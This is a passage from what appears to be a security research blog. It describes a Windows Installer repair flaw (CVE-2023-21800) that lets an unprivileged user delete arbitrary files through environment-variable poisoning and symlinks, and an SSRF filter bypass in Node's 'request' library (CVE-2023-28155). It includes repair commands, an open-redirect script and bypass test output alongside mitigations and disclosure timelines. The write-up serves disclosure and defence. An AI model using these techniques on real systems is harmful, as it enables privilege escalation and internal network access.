<li><code class="language-plaintext highlighter-rouge">/l*vx</code> to log any additional details and search for interesting events</li>
<li><code class="language-plaintext highlighter-rouge">/qn</code> to hide any UI interactions. This is extremely useful when attempting to develop an automated exploit. On the other hand, potential errors will result in new message boxes. Until the message is accepted, the process does not continue and can be frozen in an unexpected state. We might be able to modify some existing files before the original access rights are reintroduced.</li>
</ul>
<p>The <a href="https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec#repair-options">repair options</a> section lists flags we could use to trigger the repair actions. These actions would ensure the <em>bad</em> files are removed, and <em>good</em> files are reinstalled instead. The definition of <em>bad</em> is something we control, i.e., we can force the reinstallation of all files, all registry entries, or, say, only those with an invalid checksum.</p>
<table>
<thead>
<tr>
<th>Parameter</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><code class="language-plaintext highlighter-rouge">/fp</code></td>
<td>Repairs the package if a file is missing.</td>
</tr>
<tr>
<td><code class="language-plaintext highlighter-rouge">/fo</code></td>
<td>Repairs the package if a file is missing, or if an older version is installed.</td>
</tr>
<tr>
<td><code class="language-plaintext highlighter-rouge">/fe</code></td>
<td>Repairs the package if file is missing, or if an equal or older version is installed.</td>
</tr>
<tr>
<td><code class="language-plaintext highlighter-rouge">/fd</code></td>
<td>Repairs the package if file is missing, or if a different version is installed.</td>
</tr>
<tr>
<td><code class="language-plaintext highlighter-rouge">/fc</code></td>
<td>Repairs the package if file is missing, or if checksum does not match the calculated value.</td>
</tr>
<tr>
<td><code class="language-plaintext highlighter-rouge">/fa</code></td>
<td>Forces all files to be reinstalled.</td>
</tr>
<tr>
<td><code class="language-plaintext highlighter-rouge">/fu</code></td>
<td>Repairs all the required user-specific registry entries.</td>
</tr>
<tr>
<td><code class="language-plaintext highlighter-rouge">/fm</code></td>
<td>Repairs all the required computer-specific registry entries.</td>
</tr>
<tr>
<td><code class="language-plaintext highlighter-rouge">/fs</code></td>
<td>Repairs all existing shortcuts.</td>
</tr>
<tr>
<td><code class="language-plaintext highlighter-rouge">/fv</code></td>
<td>Runs from source and re-caches the local package.</td>
</tr>
</tbody>
</table>
<p>Most of the <code class="language-plaintext highlighter-rouge">msiexec</code> actions will require elevation. We cannot install or uninstall arbitrary packages (unless of course the system is badly misconfigured). However, the repair option might be an interesting exception! It might be, because not every package will work like this, but it’s not hard to find one that will. For these, the <code class="language-plaintext highlighter-rouge">msiexec</code> will auto-elevate to perform necessary actions as a SYSTEM user. Interestingly enough, some actions will be still performed using our unprivileged account making the case even more noteworthy.</p>
<p>The <em><a href="https://learn.microsoft.com/en-us/windows/win32/secauthz/impersonation-tokens">impersonation</a></em> of our account will happen for various security reasons. Only some actions can be impersonated, though. If you’re seeing a file renamed by the SYSTEM user, it’s always going to be a fully privileged action. On the other hand, when analyzing who exactly writes to a given file, we need to look at how the file handle was opened in the first place.</p>
<p>We can use tools such as <a href="https://learn.microsoft.com/en-us/sysinternals/downloads/procmon">Process Monitor</a> to observe all these events. To filter out the noise, I would recommend using the settings shown below. It’s possible to miss something interesting, e.g., a child processes’ actions, but it’s unrealistic to dig into every single event at once. Also, I’m intentionally disabling registry activity tracking, but occasionally it’s worth reenabling this to see if certain actions aren’t controlled by editable registry keys.</p>
<div style="text-align: center;">
<img src="/public/images/msi_procmon_settings.png" alt="Procmon filter settings" align="center" style="display: block; margin-left: auto; margin-right: auto;" />
</div>
<p>Another trick I’d recommend is to highlight the distinction between impersonated and non-impersonated operations. I prefer to highlight anything that isn’t explicitly impersonated, but you may prefer to reverse the logic.</p>
<div style="text-align: center;">
<img src="/public/images/msi_procmon_highlight.png" alt="Procmon highlighting settings" align="center" style="display: block; margin-left: auto; margin-right: auto;" />
</div>
<p>Then, to start analyzing the events of the aforementioned Google Chrome installer, one could run the following command:</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">msiexec.exe</span><span class="w"> </span><span class="nx">/fa</span><span class="w"> </span><span class="s1">'{B460110D-ACBF-34F1-883C-CC985072AF9E}'</span><span class="w">
</span></code></pre></div></div>
<p>The stream of events should be captured by <code class="language-plaintext highlighter-rouge">ProcMon</code> but to look for issues, we need to understand what can be considered an issue. In short, any action on a securable object that we can somehow modify is interesting. SYSTEM writes a file we control? That’s our target.</p>
<p>Typically, we cannot directly control the affected path. However, we can replace the original file with a symlink. Regular symlinks are likely not available for unprivileged users, but we may use <a href="https://github.com/googleprojectzero/symboliclink-testing-tools/blob/main/CreateSymlink/CreateSymlink_readme.txt">some tricks and tools</a> to reinvent the functionality on Windows.</p>
<h3 id="windows-eop-primitives">Windows EoP primitives</h3>
<p>Although we’re not trying to <em>pop a shell</em> out of every located vulnerability, it’s interesting to educate the readers on what would be possible given some of the <em>Elevation of Privilege primitives</em>.</p>
<p>With <u>an arbitrary file creation</u> vulnerability we could attack the system by creating a DLL that one of the system processes would load. It’s slightly harder, but not impossible, to locate a Windows process that loads our planted DLL without rebooting the entire system.</p>
<p>Having <u>an arbitrary file creation</u> vulnerability but <u>with no control over the content</u>, our chances to pop a shell are drastically reduced. We can still make Windows inoperable, though.</p>
<p>With <u>an arbitrary file delete</u> vulnerability we can at least break the operating system. Often though, we can also turn this into <u>an arbitrary folder delete</u> and use the sophisticated method discovered by <a href="https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks">Abdelhamid Naceri</a> to actually <em>pop a shell</em>.</p>
<p>The list of possible primitives is long and fascinating. A single EoP primitive should be treated as a serious security issue, nevertheless.</p>
<h3 id="one-vulnerability-to-rule-them-all--cve-2023-21800">One vulnerability to rule them all<a name="msi-vuln"> </a> (CVE-2023-21800)</h3>
<p>I’ve observed the same interesting behavior in numerous tested MSI packages. The packages were created by different MSI creators using different types of resources and basically had nothing in common. Yet, they were all following the same pattern. Namely, the environment variables set by the unprivileged user were also used in the context of the SYSTEM user invoked by the repair operation.</p>
<p>Although I initially thought that the applications were incorrectly trusting some environment variables, it turned out that the Windows Installer’s rollback mechanism was responsible for the insecure actions.</p>
<h4 id="7-zip">7-zip</h4>
<p>7-Zip provides dedicated Windows Installers which are published on the <a href="https://www.7-zip.org/download.html">project page</a>. The following file was tested:</p>
<table>
<thead>
<tr>
<th>Filename</th>
<th>Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>7z2201-x64.msi</td>
<td>22.01</td>
</tr>
</tbody>
</table>
<p>To better understand the problem, we can study the source code of the application. The installer, defined in the <code class="language-plaintext highlighter-rouge">DOC/7zip.wxs</code> file, refers to the <code class="language-plaintext highlighter-rouge">ProgramMenuFolder</code> identifier.</p>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="nt"><Directory</span> <span class="na">Id=</span><span class="s">"ProgramMenuFolder"</span> <span class="na">Name=</span><span class="s">"PMenu"</span> <span class="na">LongName=</span><span class="s">"Programs"</span><span class="nt">></span>
<span class="nt"><Directory</span> <span class="na">Id=</span><span class="s">"PMenu"</span> <span class="na">Name=</span><span class="s">"7zip"</span> <span class="na">LongName=</span><span class="s">"7-Zip"</span> <span class="nt">/></span>
<span class="nt"></Directory></span>
...
<span class="nt"><Component</span> <span class="na">Id=</span><span class="s">"Help"</span> <span class="na">Guid=</span><span class="s">"$(var.CompHelp)"</span><span class="nt">></span>
<span class="nt"><File</span> <span class="na">Id=</span><span class="s">"_7zip.chm"</span> <span class="na">Name=</span><span class="s">"7-zip.chm"</span> <span class="na">DiskId=</span><span class="s">"1"</span> <span class="nt">></span>
<span class="nt"><Shortcut</span> <span class="na">Id=</span><span class="s">"startmenuHelpShortcut"</span> <span class="na">Directory=</span><span class="s">"PMenu"</span> <span class="na">Name=</span><span class="s">"7zipHelp"</span> <span class="na">LongName=</span><span class="s">"7-Zip Help"</span> <span class="nt">/></span>
<span class="nt"></File></span>
<span class="nt"></Component></span>
</code></pre></div></div>
<p>The <code class="language-plaintext highlighter-rouge">ProgramMenuFolder</code> is later used to store some components, such as a shortcut to the <code class="language-plaintext highlighter-rouge">7-zip.chm</code> file.</p>
<p>As stated on the <a href="https://learn.microsoft.com/en-us/windows/win32/msi/programmenufolder">MSDN page</a>:</p>
<blockquote>
<p>The installer sets the ProgramMenuFolder property to the full path of the Program Menu folder for the current user. If an “All Users” profile exists and the ALLUSERS property is set, then this property is set to the folder in the “All Users” profile.</p>
</blockquote>
<p>In other words, the property will either point to the directory controlled by the current user (in <code class="language-plaintext highlighter-rouge">%APPDATA%</code> as in the previous example), or to the directory associated with the “All Users” profile.</p>
<p>While the first configuration does not require additional explanation, the second configuration is tricky. The <code class="language-plaintext highlighter-rouge">C:\ProgramData\Microsoft\Windows\Start Menu\Programs</code> path is typically used while <code class="language-plaintext highlighter-rouge">C:\ProgramData</code> is writable even by unprivileged users. The <code class="language-plaintext highlighter-rouge">C:\ProgramData\Microsoft</code> path is properly locked down. This leaves us with a secure default.</p>
<p>However, the user invoking the repair process may intentionally modify (i.e., poison) the <code class="language-plaintext highlighter-rouge">PROGRAMDATA</code> environment variable and thus redirect the “All Users” profile to the arbitrary location which is writable by the user. The <code class="language-plaintext highlighter-rouge">setx</code> command can be used for that. It modifies variables associated with the current user but it’s important to emphasize that only the <em>future</em> sessions are affected. A completely new <code class="language-plaintext highlighter-rouge">cmd.exe</code> instance should be started to inherit the new settings.</p>
<p>Instead of placing legitimate files, a symlink to an arbitrary file can be placed in the <code class="language-plaintext highlighter-rouge">%PROGRAMDATA%\Microsoft\Windows\Start Menu\Programs\7-zip\</code> directory as one of the expected files. As a result, the repair operation will:</p>
<ul>
<li>Remove the arbitrary file (using the SYSTEM privileges)</li>
<li>Attempt to restore the original file (using an unprivileged user account)</li>
</ul>
<p>The second action will fail, resulting in an Arbitrary File Delete primitive. This can be observed on the following capture, assuming we’re targeting the previously created <code class="language-plaintext highlighter-rouge">C:\Windows\System32\__doyensec.txt</code> file. We intentionally created a symlink to the targeted file under the <code class="language-plaintext highlighter-rouge">C:\FakeProgramData\Microsoft\Windows\Start Menu\Programs\7-zip\7-Zip Help.lnk</code> path.</p>
<div style="text-align: center;">
<img src="/public/images/msi_7z_rename.png" alt="The operation result in REPARSE" align="center" style="display: block; margin-left: auto; margin-right: auto;" />
</div>
<p>Firstly, we can see the actions resulting in the <em>REPARSE</em> status. The file is briefly processed (or rather its attributes are), and the <code class="language-plaintext highlighter-rouge">SetRenameInformationFile</code> is called on it. The <em>rename</em> part is slightly misleading. What is actually happening is that file is <em>moved</em> to a different location. This is how the Windows installer creates rollback instructions in case something goes wrong. As stated before, the <code class="language-plaintext highlighter-rouge">SetRenameInformationFile</code> doesn’t work on the file handle level and cannot be impersonated. This action runs with the full SYSTEM privileges.</p>
<p>Later on, we can spot attempts to restore the original file, but using an impersonated token. These actions result in <code class="language-plaintext highlighter-rouge">ACCESS DENIED</code> errors, therefore the targeted file remains deleted.</p>
<div style="text-align: center;">
<img src="/public/images/msi_7z_accessdenied.png" alt="The operation result in REPARSE" align="center" style="display: block; margin-left: auto; margin-right: auto;" />
</div>
<p>The same sequence was observed in numerous other installers. For instance, I worked with PuTTY’s maintainer on a possible workaround which was introduced in the <a href="https://the.earth.li/~sgtatham/putty/latest/w64/putty-64bit-0.78-installer.msi">0.78 version</a>. In that version, the elevated repair is allowed only if administrator credentials are provided. However, this isn’t functionally equal and has introduced some other issues. The 0.79 release should restore the old WiX configuration.</p>
<h4 id="redirection-guard">Redirection Guard</h4>
<p>The issue was reported directly to Microsoft with all the above information and a dedicated exploit. Microsoft assigned <a href="https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2023-21800">CVE-2023-21800</a> identifier to it.</p>
<p>It was reproducible on the latest versions of Windows 10 and Windows 11. However, it was not bounty-eligible as the attack was already mitigated on the Windows 11 Developer Preview. The same mitigation has been enabled with the 2022-02-14 update.</p>
<p>In October 2022 Microsoft <a href="https://techcommunity.microsoft.com/t5/microsoft-security-baselines/windows-10-version-22h2-security-baseline/ba-p/3655724">shipped</a> a new feature called Redirection Guard on Windows 10 and Windows 11. The update introduced a new type of mitigation called <a href="https://learn.microsoft.com/en-us/windows/win32/api/winnt/ne-winnt-process_mitigation_policy">ProcessRedirectionTrustPolicy</a> and the corresponding <a href="https://learn.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-process-mitigation-redirection-trust-policy">PROCESS_MITIGATION_REDIRECTION_TRUST_POLICY structure</a>. If the mitigation is enabled for a given process, all processed junctions are additionally verified. The verification first checks if the filesystem junction was created by non-admin users and, if so, if the policy prevents following them. If the operation is prevented, the error <code class="language-plaintext highlighter-rouge">0xC00004BC</code> is returned. The junctions created by admin users are explicitly allowed as having a higher trust-level label.</p>
<p>In the initial round, Redirection Guard was enabled for the print service. The 2022-02-14 update enabled the same mitigation on the <code class="language-plaintext highlighter-rouge">msiexec</code> process.</p>
<p>This can be observed in the following <code class="language-plaintext highlighter-rouge">ProcMon</code> capture:</p>
<div style="text-align: center;">
<img src="/public/images/msi_7z_mitigation.png" alt="The 0xC00004BC error returned by the new mitigation" align="center" style="display: block; margin-left: auto; margin-right: auto;" />
</div>
<p>The <code class="language-plaintext highlighter-rouge">msiexec</code> is one of a few applications that have this mitigation enforced by default. To check for yourself, use the following not-so-great code:</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf"><windows.h></span><span class="cp">
#include</span> <span class="cpf"><TlHelp32.h></span><span class="cp">
#include</span> <span class="cpf"><cstdio></span><span class="cp">
#include</span> <span class="cpf"><string></span><span class="cp">
#include</span> <span class="cpf"><vector></span><span class="cp">
#include</span> <span class="cpf"><memory></span><span class="cp">
</span>
<span class="k">using</span> <span class="n">AutoHandle</span> <span class="o">=</span> <span class="n">std</span><span class="o">::</span><span class="n">unique_ptr</span><span class="o"><</span><span class="n">std</span><span class="o">::</span><span class="n">remove_pointer_t</span><span class="o"><</span><span class="n">HANDLE</span><span class="o">></span><span class="p">,</span> <span class="k">decltype</span><span class="p">(</span><span class="o">&</span><span class="n">CloseHandle</span><span class="p">)</span><span class="o">></span><span class="p">;</span>
<span class="k">using</span> <span class="n">Proc</span> <span class="o">=</span> <span class="n">std</span><span class="o">::</span><span class="n">pair</span><span class="o"><</span><span class="n">std</span><span class="o">::</span><span class="n">wstring</span><span class="p">,</span> <span class="n">AutoHandle</span><span class="o">></span><span class="p">;</span>
<span class="n">std</span><span class="o">::</span><span class="n">vector</span><span class="o"><</span><span class="n">Proc</span><span class="o">></span> <span class="n">getRunningProcesses</span><span class="p">()</span> <span class="p">{</span>
<span class="n">std</span><span class="o">::</span><span class="n">vector</span><span class="o"><</span><span class="n">Proc</span><span class="o">></span> <span class="n">processes</span><span class="p">;</span>
<span class="n">std</span><span class="o">::</span><span class="n">unique_ptr</span><span class="o"><</span><span class="n">std</span><span class="o">::</span><span class="n">remove_pointer_t</span><span class="o"><</span><span class="n">HANDLE</span><span class="o">></span><span class="p">,</span> <span class="k">decltype</span><span class="p">(</span><span class="o">&</span><span class="n">CloseHandle</span><span class="p">)</span><span class="o">></span> <span class="n">snapshot</span><span class="p">(</span><span class="n">CreateToolhelp32Snapshot</span><span class="p">(</span><span class="n">TH32CS_SNAPPROCESS</span><span class="p">,</span> <span class="mi">0</span><span class="p">),</span> <span class="o">&</span><span class="n">CloseHandle</span><span class="p">);</span>
<span class="n">PROCESSENTRY32</span> <span class="n">pe32</span><span class="p">;</span>
<span class="n">pe32</span><span class="p">.</span><span class="n">dwSize</span> <span class="o">=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">pe32</span><span class="p">);</span>
<span class="n">Process32First</span><span class="p">(</span><span class="n">snapshot</span><span class="p">.</span><span class="n">get</span><span class="p">(),</span> <span class="o">&</span><span class="n">pe32</span><span class="p">);</span>
<span class="k">do</span> <span class="p">{</span>
<span class="k">auto</span> <span class="n">h</span> <span class="o">=</span> <span class="n">OpenProcess</span><span class="p">(</span><span class="n">PROCESS_QUERY_INFORMATION</span><span class="p">,</span> <span class="n">FALSE</span><span class="p">,</span> <span class="n">pe32</span><span class="p">.</span><span class="n">th32ProcessID</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">h</span><span class="p">)</span> <span class="p">{</span>
<span class="n">processes</span><span class="p">.</span><span class="n">emplace_back</span><span class="p">(</span><span class="n">std</span><span class="o">::</span><span class="n">wstring</span><span class="p">(</span><span class="n">pe32</span><span class="p">.</span><span class="n">szExeFile</span><span class="p">),</span> <span class="n">AutoHandle</span><span class="p">(</span><span class="n">h</span><span class="p">,</span> <span class="o">&</span><span class="n">CloseHandle</span><span class="p">));</span>
<span class="p">}</span>
<span class="p">}</span> <span class="k">while</span> <span class="p">(</span><span class="n">Process32Next</span><span class="p">(</span><span class="n">snapshot</span><span class="p">.</span><span class="n">get</span><span class="p">(),</span> <span class="o">&</span><span class="n">pe32</span><span class="p">));</span>
<span class="k">return</span> <span class="n">processes</span><span class="p">;</span>
<span class="p">}</span>
<span class="kt">int</span> <span class="n">main</span><span class="p">()</span> <span class="p">{</span>
<span class="k">auto</span> <span class="n">runningProcesses</span> <span class="o">=</span> <span class="n">getRunningProcesses</span><span class="p">();</span>
<span class="n">PROCESS_MITIGATION_REDIRECTION_TRUST_POLICY</span> <span class="n">policy</span><span class="p">;</span>
<span class="k">for</span> <span class="p">(</span><span class="k">auto</span><span class="o">&</span> <span class="n">process</span> <span class="o">:</span> <span class="n">runningProcesses</span><span class="p">)</span> <span class="p">{</span>
<span class="k">auto</span> <span class="n">result</span> <span class="o">=</span> <span class="n">GetProcessMitigationPolicy</span><span class="p">(</span><span class="n">process</span><span class="p">.</span><span class="n">second</span><span class="p">.</span><span class="n">get</span><span class="p">(),</span> <span class="n">ProcessRedirectionTrustPolicy</span><span class="p">,</span> <span class="o">&</span><span class="n">policy</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">policy</span><span class="p">));</span>
<span class="k">if</span> <span class="p">(</span><span class="n">result</span> <span class="o">&&</span> <span class="p">(</span><span class="n">policy</span><span class="p">.</span><span class="n">AuditRedirectionTrust</span> <span class="o">|</span> <span class="n">policy</span><span class="p">.</span><span class="n">EnforceRedirectionTrust</span> <span class="o">|</span> <span class="n">policy</span><span class="p">.</span><span class="n">Flags</span><span class="p">))</span> <span class="p">{</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"%ws:</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">process</span><span class="p">.</span><span class="n">first</span><span class="p">.</span><span class="n">c_str</span><span class="p">());</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"</span><span class="se">\t</span><span class="s">AuditRedirectionTrust: % d</span><span class="se">\n\t</span><span class="s">EnforceRedirectionTrust : % d</span><span class="se">\n\t</span><span class="s">Flags : % d</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">policy</span><span class="p">.</span><span class="n">AuditRedirectionTrust</span><span class="p">,</span> <span class="n">policy</span><span class="p">.</span><span class="n">EnforceRedirectionTrust</span><span class="p">,</span> <span class="n">policy</span><span class="p">.</span><span class="n">Flags</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p>The Redirection Guard should prevent an entire class of junction attacks and might significantly complicate local privilege escalation attacks. While it addresses the previously mentioned issue, it also addresses other types of installer bugs, such as when a privileged installer moves files from user-controlled directories.</p>
<h4 id="microsoft-disclosure-timeline">Microsoft Disclosure Timeline</h4>
<table>
<thead>
<tr>
<th>Status</th>
<th>Data</th>
</tr>
</thead>
<tbody>
<tr>
<td>Vulnerability reported to Microsoft</td>
<td>9 Oct 2022</td>
</tr>
<tr>
<td>Vulnerability accepted</td>
<td>4 Nov 2022</td>
</tr>
<tr>
<td>Patch developed</td>
<td>10 Jan 2023</td>
</tr>
<tr>
<td>Patch released</td>
<td>14 Feb 2023</td>
</tr>
</tbody>
</table>
SSRF Cross Protocol Redirect Bypass2023-03-16T00:00:00+01:00https://blog.doyensec.com/2023/03/16/ssrf-remediation-bypass<p>Server Side Request Forgery (SSRF) is a <a href="https://portswigger.net/web-security/ssrf">fairly known vulnerability</a> with established prevention methods. So imagine my surprise when I bypassed an SSRF mitigation during a routine retest. Even worse, <strong>I have bypassed a filter that we have recommended ourselves</strong>! I couldn’t let it slip and had to get to the bottom of the issue.</p>
<h1 id="introduction">Introduction</h1>
<p>Server Side Request Forgery is a vulnerability in which a malicious actor exploits a victim server to perform HTTP(S) requests on the attacker’s behalf. Since the server usually has access to the internal network, this attack is useful to bypass firewalls and IP whitelists to access hosts otherwise inaccessible to the attacker.</p>
<h1 id="request-library-vulnerability">Request Library Vulnerability</h1>
<p>SSRF attacks can be prevented with address filtering, assuming there are no filter bypasses. One of the classic SSRF filtering bypass techniques is a redirection attack. In these attacks, an attacker sets up a malicious webserver serving an endpoint redirecting to an internal address. The victim server properly allows sending a request to an external server, but then blindly follows a malicious redirection to an internal service.</p>
<p>None of above is new, of course. All of these techniques have been around for years and any reputable anti-SSRF library mitigates such risks. And yet, I have bypassed it.</p>
<p>Client’s code was a simple endpoint created for integration. During the original engagement there was no filtering at all. After our test the client has applied an anti-SSRF library <a href="https://www.npmjs.com/package/ssrf-req-filter">ssrfFilter</a>. For the research and code anonymity purposes, I have extracted the logic to a standalone NodeJS script:</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">request</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">request</span><span class="dl">'</span><span class="p">);</span>
<span class="kd">const</span> <span class="nx">ssrfFilter</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">ssrf-req-filter</span><span class="dl">'</span><span class="p">);</span>
<span class="kd">let</span> <span class="nx">url</span> <span class="o">=</span> <span class="nx">process</span><span class="p">.</span><span class="nx">argv</span><span class="p">[</span><span class="mi">2</span><span class="p">];</span>
<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">"</span><span class="s2">Testing</span><span class="dl">"</span><span class="p">,</span> <span class="nx">url</span><span class="p">);</span>
<span class="nx">request</span><span class="p">({</span>
<span class="na">uri</span><span class="p">:</span> <span class="nx">url</span><span class="p">,</span>
<span class="na">agent</span><span class="p">:</span> <span class="nx">ssrfFilter</span><span class="p">(</span><span class="nx">url</span><span class="p">),</span>
<span class="p">},</span> <span class="kd">function</span> <span class="p">(</span><span class="nx">error</span><span class="p">,</span> <span class="nx">response</span><span class="p">,</span> <span class="nx">body</span><span class="p">)</span> <span class="p">{</span>
<span class="nx">console</span><span class="p">.</span><span class="nx">error</span><span class="p">(</span><span class="dl">'</span><span class="s1">error:</span><span class="dl">'</span><span class="p">,</span> <span class="nx">error</span><span class="p">);</span>
<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">'</span><span class="s1">statusCode:</span><span class="dl">'</span><span class="p">,</span> <span class="nx">response</span> <span class="o">&&</span> <span class="nx">response</span><span class="p">.</span><span class="nx">statusCode</span><span class="p">);</span>
<span class="p">});</span>
</code></pre></div></div>
<p>To verify a redirect bypasss I have created a simple webserver with an open-redirect endpoint in PHP and hosted it on the Internet using my test domain <code class="language-plaintext highlighter-rouge">tellico.fun</code>:</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp"><?php</span> <span class="nb">header</span><span class="p">(</span><span class="s1">'Location: '</span><span class="mf">.</span><span class="nv">$_GET</span><span class="p">[</span><span class="s2">"target"</span><span class="p">]);</span> <span class="cp">?></span>
</code></pre></div></div>
<p>Initial test demonstrates that the vulnerability is fixed:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>node test-request.js <span class="s2">"http://tellico.fun/redirect.php?target=http://localhost/test"</span>
Testing http://tellico.fun/redirect.php?target<span class="o">=</span>http://localhost/test
error: Error: Call to 127.0.0.1 is blocked.
</code></pre></div></div>
<p>But then, I switched the protocol and suddenly I was able to access a localhost service again. Readers should look carefully at the payload, as the difference is minimal:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>node test-request.js <span class="s2">"https://tellico.fun/redirect.php?target=http://localhost/test"</span>
Testing https://tellico.fun/redirect.php?target<span class="o">=</span>http://localhost/test
error: null
statusCode: 200
</code></pre></div></div>
<p>What happened? The attacker server has redirected the request to another protocol - from HTTPS to HTTP. This is all it took to bypass the anti-SSRF protection.</p>
<p>Why is that? After some digging in the popular <a href="https://www.npmjs.com/package/request">request</a> library codebase, I have discovered the following lines in the <code class="language-plaintext highlighter-rouge">lib/redirect.js</code> file:</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="c1">// handle the case where we change protocol from https to http or vice versa</span>
<span class="k">if</span> <span class="p">(</span><span class="nx">request</span><span class="p">.</span><span class="nx">uri</span><span class="p">.</span><span class="nx">protocol</span> <span class="o">!==</span> <span class="nx">uriPrev</span><span class="p">.</span><span class="nx">protocol</span><span class="p">)</span> <span class="p">{</span>
<span class="k">delete</span> <span class="nx">request</span><span class="p">.</span><span class="nx">agent</span>
<span class="p">}</span>
</code></pre></div></div>
<p>According to the code above, anytime the redirect causes a protocol switch, the request agent is deleted. Without this workaround, the client would fail anytime a server would cause a cross-protocol redirect. This is needed since the native NodeJs <code class="language-plaintext highlighter-rouge">http(s).agent</code> cannot be used with both protocols.</p>
<p>Unfortunately, such behavior also loses any event handling associated with the agent. Given, that the SSRF prevention is based on the agents’ <code class="language-plaintext highlighter-rouge">createConnection</code> event handler, this unexpected behavior affects the effectiveness of SSRF mitigation strategies in the <code class="language-plaintext highlighter-rouge">request</code> library.</p>
<h2 id="disclosure">Disclosure</h2>
<p>This issue was disclosed to the maintainers on December 5th, 2022. Despite our best attempts, we have not yet received an acknowledgment. After the 90-days mark, we have decided to publish the <a href="https://doyensec.com/resources/Doyensec_Advisory_RequestSSRF_Q12023.pdf">full technical details</a> as well as a public Github <a href="https://github.com/request/request/issues/3442">issue</a> linked to a <a href="https://github.com/request/request/pull/3444">pull request</a> for the fix. On March 14th, 2023, a CVE ID has been assigned to this vulnerability.</p>
<ul>
<li>12/05/2022 - First disclosure to the maintainer</li>
<li>01/18/2023 - Another attempt to contact the maintainer</li>
<li>03/08/2023 - A <a href="https://github.com/request/request/issues/3442">Github issue</a> creation, without the technical details</li>
<li>03/13/2023 - CVE-2023-28155 assigned</li>
<li>03/16/2023 - Full technical details disclosure</li>
</ul>
<h1 id="other-libraries">Other Libraries</h1>
<p>Since supposedly universal filter turned out to be so dependent on the implementation of the HTTP(S) clients, it is natural to ask how other popular libraries handle these cases.</p>
<h2 id="node-fetch">Node-Fetch</h2>
<p>The <code class="language-plaintext highlighter-rouge">node-Fetch</code> library also allows to overwrite an HTTP(S) agent within its options, without specifying the protocol:</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">ssrfFilter</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">ssrf-req-filter</span><span class="dl">'</span><span class="p">);</span>
<span class="kd">const</span> <span class="nx">fetch</span> <span class="o">=</span> <span class="p">(...</span><span class="nx">args</span><span class="p">)</span> <span class="o">=></span> <span class="k">import</span><span class="p">(</span><span class="dl">'</span><span class="s1">node-fetch</span><span class="dl">'</span><span class="p">).</span><span class="nx">then</span><span class="p">(({</span> <span class="na">default</span><span class="p">:</span> <span class="nx">fetch</span> <span class="p">})</span> <span class="o">=></span> <span class="nx">fetch</span><span class="p">(...</span><span class="nx">args</span><span class="p">));</span>
<span class="kd">let</span> <span class="nx">url</span> <span class="o">=</span> <span class="nx">process</span><span class="p">.</span><span class="nx">argv</span><span class="p">[</span><span class="mi">2</span><span class="p">];</span>
<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">"</span><span class="s2">Testing</span><span class="dl">"</span><span class="p">,</span> <span class="nx">url</span><span class="p">);</span>
<span class="nx">fetch</span><span class="p">(</span><span class="nx">url</span><span class="p">,</span> <span class="p">{</span>
<span class="na">agent</span><span class="p">:</span> <span class="nx">ssrfFilter</span><span class="p">(</span><span class="nx">url</span><span class="p">)</span>
<span class="p">}).</span><span class="nx">then</span><span class="p">((</span><span class="nx">response</span><span class="p">)</span> <span class="o">=></span> <span class="p">{</span>
<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">'</span><span class="s1">Success</span><span class="dl">'</span><span class="p">);</span>
<span class="p">}).</span><span class="k">catch</span><span class="p">(</span><span class="nx">error</span> <span class="o">=></span> <span class="p">{</span>
<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">'</span><span class="s1">${error.toString().split(</span><span class="dl">'</span><span class="err">\</span><span class="nx">n</span><span class="dl">'</span><span class="s1">)[0]}</span><span class="dl">'</span><span class="p">);</span>
<span class="p">});</span>
</code></pre></div></div>
<p>Contrary to the <code class="language-plaintext highlighter-rouge">request</code> library though, it simply fails in the case of a cross-protocol redirect:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>node fetch.js <span class="s2">"https://tellico.fun/redirect.php?target=http://localhost/test"</span>
Testing https://tellico.fun/redirect.php?target<span class="o">=</span>http://localhost/test
TypeError <span class="o">[</span>ERR_INVALID_PROTOCOL]: Protocol <span class="s2">"http:"</span> not supported. Expected <span class="s2">"https:"</span>
</code></pre></div></div>
<p>It is therefore impossible to perform a similar attack on this library.</p>
<h2 id="axios">Axios</h2>
